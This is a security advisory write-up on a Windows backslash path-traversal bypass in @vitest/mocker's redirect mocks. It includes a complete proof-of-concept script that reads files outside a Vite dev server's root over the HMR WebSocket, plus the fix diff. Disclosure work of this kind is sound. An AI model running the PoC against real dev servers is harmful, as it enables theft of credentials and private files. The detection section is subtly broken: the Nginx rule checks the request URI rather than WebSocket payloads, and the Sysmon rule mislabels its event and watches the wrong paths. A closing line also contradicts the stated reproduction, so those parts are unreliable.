Disclosure: CVE-2026-112950 is a bypass of the fix for GHSA-82fw-gwwq-j7x9 in
@vitest/mocker. I reported it to the Vitest maintainers asjankesec. It is fixed in 4.1.12 and 5.0.3 and published as GHSA-xp26-3454-mjgp. GitHub scored it CVSS 3.1 5.9 (Medium):AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
On Windows, a redirect mock whose path contains ..\ passes the allowlist check added by the first fix, and the server then reads a file outside the project root. The attacker needs a connection to the Vite HMR WebSocket of a Windows dev server that registers the redirect handler. mockerPlugin and a standalone interceptorPlugin do; Vitest’s own browser mode does not. Vite listens on localhost by default, so the server has to be exposed first, for example with --host 0.0.0.0 or through a proxy.
The cause is a disagreement between the check and the read. The check treats \ as an ordinary character. The file read treats it as a directory separator.
The first fix
GHSA-82fw-gwwq-j7x9 showed that any client that can reach the dev server’s HMR WebSocket could register a redirect mock for an arbitrary path, and the plugin would later return that file’s contents as the module. The first fix runs the computed path through Vite’s isFileLoadingAllowed() before it is stored:
// interceptorPlugin.ts after the first fix (simplified)
import { join } from 'node:path/posix'
const redirectUrl = new URL(event.redirect)
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
With a custom scheme such as traversal:, new URL() keeps the path opaque. traversal:../secret.txt gives a pathname of ../secret.txt, join(root, '../secret.txt') lands above the root, and isFileLoadingAllowed() rejects it. On Linux and macOS this works as intended.
Where the check and the read disagree
join comes from node:path/posix, where / is the only separator and \ is a normal filename character. Take a Vite root of C:/workspace/project/root and a redirect of traversal:..\secret.txt:
redirectUrl.pathnameis..\secret.txt.join('C:/workspace/project/root', '..\\secret.txt')finds no..segment and returnsC:/workspace/project/root/..\secret.txt.isFileLoadingAllowed()compares that string withserver.fs.allow. It starts with the allowed root, so it passes and the mock is stored.- When the module is requested, the plugin calls
readFile(mock.redirect, 'utf-8'). On Windows, Node opens the file throughCreateFileW, where\separates directories and..\is resolved. The file that gets opened isC:\workspace\project\secret.txt, one level above the root.
\ as an ordinary character. The file read treats it as a directory separator.Evidence matrix
| Question | What I checked | Confidence | Notes and negative controls |
|---|---|---|---|
| Which versions are affected? | @vitest/[email protected] and @vitest/[email protected] on Windows Server 2025 with Node.js 22, and main at 2ce29d5. | High | All three behaved the same. The advisory lists 4.1.11 and >=5.0.0-rc.2, <5.0.3 as affected. |
Does the first fix still stop /? | Registered traversal:../secret.txt over the same WebSocket. | High | HTTP 404. isFileLoadingAllowed() rejected it. |
| Does the backslash form get through? | Registered traversal:..\secret.txt, which points at a sibling file holding a canary string. | High | HTTP 200 with SYNTHETIC_OUTSIDE_ROOT_CANARY. |
| What does the attacker need? | A WebSocket connection to the Vite HMR port of a server that registers the redirect handler (mockerPlugin or a standalone interceptorPlugin). | High | The dev server listens on localhost by default. Exposure needs --host or a proxy. Vitest browser mode does not register this handler. |
| Is the browser RPC path affected? | Read packages/browser/src/node/rpc.ts. | High | No. It joins paths with pathe, which converts backslashes before the check. |
| Does the fix close it? | Re-ran the PoC against 4.1.12 and 5.0.3. | High | Backslashes are converted to / before the join, so isFileLoadingAllowed() rejects both forms. |
Reproduction
I reproduced the issue on a clean Windows machine with a canary file instead of real secrets. The script starts a standalone Vite server with interceptorPlugin and writes the canary next to the server root:
<tmpdir>\vitest-path-<uuid>\
├── root\ server.config.root, the only allowed directory
└── secret.txt canary file containing SYNTHETIC_OUTSIDE_ROOT_CANARY
The script (poc.mjs) registers two redirects over the same WebSocket, one with / as the negative control and one with \, requests both modules over HTTP and prints the result:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
// 1. Negative control: Standard forward-slash traversal
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
// 2. Exploit vector: Windows backslash traversal
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
}
console.log(JSON.stringify(result, null, 2))
} finally {
await server.close()
}
Observed output
Run against @vitest/[email protected] on Windows. The script also prints root and outsideFile; I removed those local paths.
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY"
}
The two requests differ only in the separator. traversal:../secret.txt returned 404, so the first fix was active. traversal:..\secret.txt returned 200 with the canary string.
The fix
The fix is commit 15cc006 (PR #11377, released in 5.0.3), backported as b825313 (PR #11580, released in 4.1.12). It wraps the URL pathname in slash() from @vitest/utils/helpers, which converts backslashes to /, before the join. The same commit applies slash() to the paths in packages/browser/src/node/rpc.ts. That code was not exploitable, but now matches.
--- a/packages/mocker/src/node/interceptorPlugin.ts
+++ b/packages/mocker/src/node/interceptorPlugin.ts
@@ -2,6 +2,7 @@ import type { Plugin } from 'vite'
import type { MockedModuleSerialized } from '../registry'
import { readFile } from 'node:fs/promises'
import { join } from 'node:path/posix'
+import { slash } from '@vitest/utils/helpers'
import { isFileLoadingAllowed } from 'vite'
import { ManualMockedModule, MockerRegistry } from '../registry'
import { cleanUrl, createManualModuleSource } from '../utils'
@@ -77,7 +78,7 @@ export function interceptorPlugin(options: InterceptorPluginOptions = {}): Plugi
} else {
if (event.type === 'redirect') {
const redirectUrl = new URL(event.redirect)
- const redirect = join(server.config.root, redirectUrl.pathname)
+ const redirect = join(server.config.root, slash(redirectUrl.pathname))
// the redirect is served through the `load` hook below, so it must
// stay inside the file-serving allowlist and never escape the root
if (!isFileLoadingAllowed(server.config, redirect)) {
..\secret.txt now becomes ../secret.txt before join(). The result resolves above server.config.root, and isFileLoadingAllowed() rejects it, the same as the forward-slash form.
Path resolution divergence matrix
The vulnerability exists entirely in the discrepancy between how standard URL parsers, POSIX path utilities, and the Win32 filesystem API interpret backslash characters:
| Layer | Input String | Interpreted Separators | Output / Decision | Security Implication |
|---|---|---|---|---|
WHATWG URL Parser (new URL(...)) | traversal:..\secret.txt | Only / for non-special schemes | pathname: "..\secret.txt" | Backslash is kept intact; not normalized to slash. |
POSIX Path Join (path/posix.join) | join("C:/root", "..\secret.txt") | Only / | "C:/root/..\secret.txt" | ..\ is treated as a literal file name segment, not a parent reference. |
Vite FS Allowlist (isFileLoadingAllowed) | "C:/root/..\secret.txt" | Lexical prefix match against allowed roots | ALLOWED (true) | String begins with allowed prefix "C:/root". |
Win32 Runtime (CreateFileW via readFile) | C:\root\..\secret.txt | Both / and \ | Opens C:\secret.txt | Kernel resolves ..\ as parent directory, escaping the root. |
Detection engineering and telemetry
Exploitation targets the development server’s HMR WebSocket and can be identified at both the network layer and within process telemetry.
1. Reverse proxy and WAF detection
When a development environment is proxied through Nginx, HAProxy, or a cloud WAF, WebSocket payloads with redirect mocks containing backslash traversal sequences can be blocked:
# Nginx WebSocket inspection snippet
# Drop websocket upgrades carrying raw or encoded Windows directory traversal
map $http_upgrade $is_websocket {
default 0;
"websocket" 1;
}
# In server/location block for Vite HMR
if ($request_uri ~* "(%5c|\x5c|\\)\.\.(%5c|\x5c|\\|/)") {
return 400 "Blocked traversal sequence";
}
2. Windows Sysmon file telemetry
SOC teams monitoring developer workstations or CI runners can track Node.js accessing sensitive files outside project roots via Sysmon Event ID 11 (FileCreate/FileRead):
<!-- Sysmon FileRead/FileAccess Rule -->
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<Rule groupRelation="and">
<Image condition="end with">node.exe</Image>
<TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
</Rule>
</FileCreate>
</RuleGroup>
When exploitation occurs, telemetry flags node.exe serving requests directly from user profile secrets (e.g. .aws/credentials, id_rsa, or environment files) outside the working tree.
Workaround: configuration hardening without upgrading
If an immediate upgrade to @vitest/mocker 4.1.12 or 5.0.3 is not feasible, apply the following mitigations:
-
Restrict network interfaces: Never expose Vite using
--host 0.0.0.0or--hoston shared networks, Wi-Fi, or CI environments. Keep server binding strictly to the loopback interface:// vite.config.ts export default defineConfig({ server: { host: '127.0.0.1', // Enforce loopback only cors: false, }, }) -
Enforce strict filesystem isolation: Disable serving files from outside the workspace root by configuring
server.fs:// vite.config.ts export default defineConfig({ server: { fs: { strict: true, deny: ['**/.*', '**/*.env*', '**/*.key'], }, }, })
ATT&CK technique mapping
| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
|---|---|---|---|---|
| Initial Access / Discovery | T1190 | Exploit Public-Facing Application | Exposed Vite HMR WebSocket endpoint receives malicious redirect mock registration. | Bind dev server strictly to 127.0.0.1; firewall dev ports. |
| Discovery | T1083 | File and Directory Discovery | Attacker traverses parent directories on Windows host to read files outside project root. | Normalize path separators with slash() before validation. |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files | Arbitrary file read leaks configuration files, environment variables, or private keys. | Enforce server.fs.deny lists; isolate development tokens. |
Takeaways
- Normalize separators for the platform that consumes the string.
node:path/posixsuits URLs, but once the result reachesreadFile()on Windows, convert\before any security check. - Do not assume a URL parser fixes backslashes. The WHATWG parser treats
\as/for special schemes such ashttpandfile, and keeps it for a custom scheme liketraversal:. - Check the value you will actually use. Resolve the input to an absolute, normalized path (and with
realpathwhere symlinks matter), then test containment on that result.
Vulnerability Scoring & CVSS Vector Breakdown
Base score and individual metric vector breakdown calculated by GitHub CNA.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:NCoordinated Disclosure & Remediation Timeline
Verified chronological audit trail for CVE-2026-112950: from reproduction to upstream fix, backport, and official advisory release.
The fix referenced by the advisory landed in vitest-dev/vitest (PR #11377).
Source / Reference ↗The redirect mock hardening was backported to the 4.x line (PR #11580).
Source / Reference ↗GitHub, as CNA, published the CVE record and advisory GHSA-xp26-3454-mjgp.
Source / Reference ↗CISA added its Vulnrichment (SSVC) assessment to the CVE record.
jankesec checked the CVE record, score, affected versions, and references.
Evidence used for this analysis
Version and exploitation status can change; follow the linked vendor records.
The author completed a technical review. This does not, by itself, claim lab reproduction.
